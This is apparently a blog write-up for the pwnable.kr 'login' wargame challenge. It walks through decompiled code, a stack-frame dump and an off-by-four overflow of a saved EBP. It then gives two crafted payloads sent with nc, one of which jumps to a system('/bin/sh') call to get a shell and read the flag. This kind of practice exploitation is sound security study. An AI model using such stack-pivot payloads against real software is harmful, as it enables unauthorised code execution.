pwnable.kr login writeup

0x01 Analyze

main():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h]
char s; // [esp+1Eh] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-4h]

memset(&s, 0, 0x1Eu);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", &s);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)&s, &v4);
if ( v6 > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) == 1 )
correct();
}
return 0;
}

In the mian() function, the variable s is a 30 bytes char[], the global variable input is 12 bytes, no vulnerability can be used in main().

auth():

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
char v2; // [esp+14h] [ebp-14h]
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h]

memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

Stack of auth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
-00000028 ; D/A/*   : change type (data/ascii/array)
-00000028 ; N : rename
-00000028 ; U : undefine
-00000028 ; Use data definition commands to create local variables and function arguments.
-00000028 ; Two special fields " r" and " s" represent return address and saved registers.
-00000028 ; Frame size: 28; Saved regs: 4; Purge: 0
-00000028 ;
-00000028
-00000028 db ? ; undefined
-00000027 db ? ; undefined
-00000026 db ? ; undefined
-00000025 db ? ; undefined
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 var_14 db ?
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C s2 dd ? ; offset
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 arg_0 dd ?
+0000000C
+0000000C ; end of stack variables

Variable v4 is 8 bytes, so the memcpy(&v4, &input, a1) will overflow.
It can overwrite the saved registers of the stack of auth(), which is the EBP of main().

In assember, when a function return to the function caller, it will:

1
2
3
mov esp, ebp
pop ebp
pop eip

We can’t directly control the EIP, because the max size of input is 12, but we can construct a fake stack, then let the EBP of main() function to our fake stack. When the main() returns, it will jmp to the function we specify.

The correct() address is 0x0804925F, the input address is 0x0811EB40.

Fake stack:
(The correct() will check the first 4 bytes of input, so it should be 0xdedabeef.)

1
2
3
0x0811EB40 0xdeadbeef
0x0811EB44 0x0804925f
0x0811EB48 0x0811EB40

0x02 exp

1
2
3
4
5
6
~/blog$ python -c "from base64 import b64encode;print(b64encode(b'\xef\xbe\xad\xde\x5f\x92\x04\x08\x40\xeb\x11\x08'))"776t3l+SBAhA6xEI
~/blog$ nc pwnable.kr 9003
Authenticate : 776t3l+SBAhA6xEI
hash : b184befe70416e36625cae920af6f287
Congratulation! you are good!
cat flag

Or we can bypass the validation of function input(), directly let main() return to .text:08049284(the system("/bin/sh") location):
Fake stack:

1
2
3
0x0811EB40 0x00000000
0x0811EB44 0x08049284
0x0811EB48 0x0811EB40
1
2
.text:08049284                 mov     dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
1
2
3
4
5
6
~/blog$ python -c "from base64 import b64encode;print(b64encode(b'\x00\x00\x00\x00\x84\x92\x04\x08\x40\xeb\x11\x08'))"
AAAAAISSBAhA6xEI
~/blog$ nc pwnable.kr 9003
Authenticate : AAAAAISSBAhA6xEI
hash : a47a66d21a19021348d1f94b97cca7d7
cat flag
Author

lyq1996

Posted on

2021-09-26

Updated on

2021-11-07

Licensed under

Comments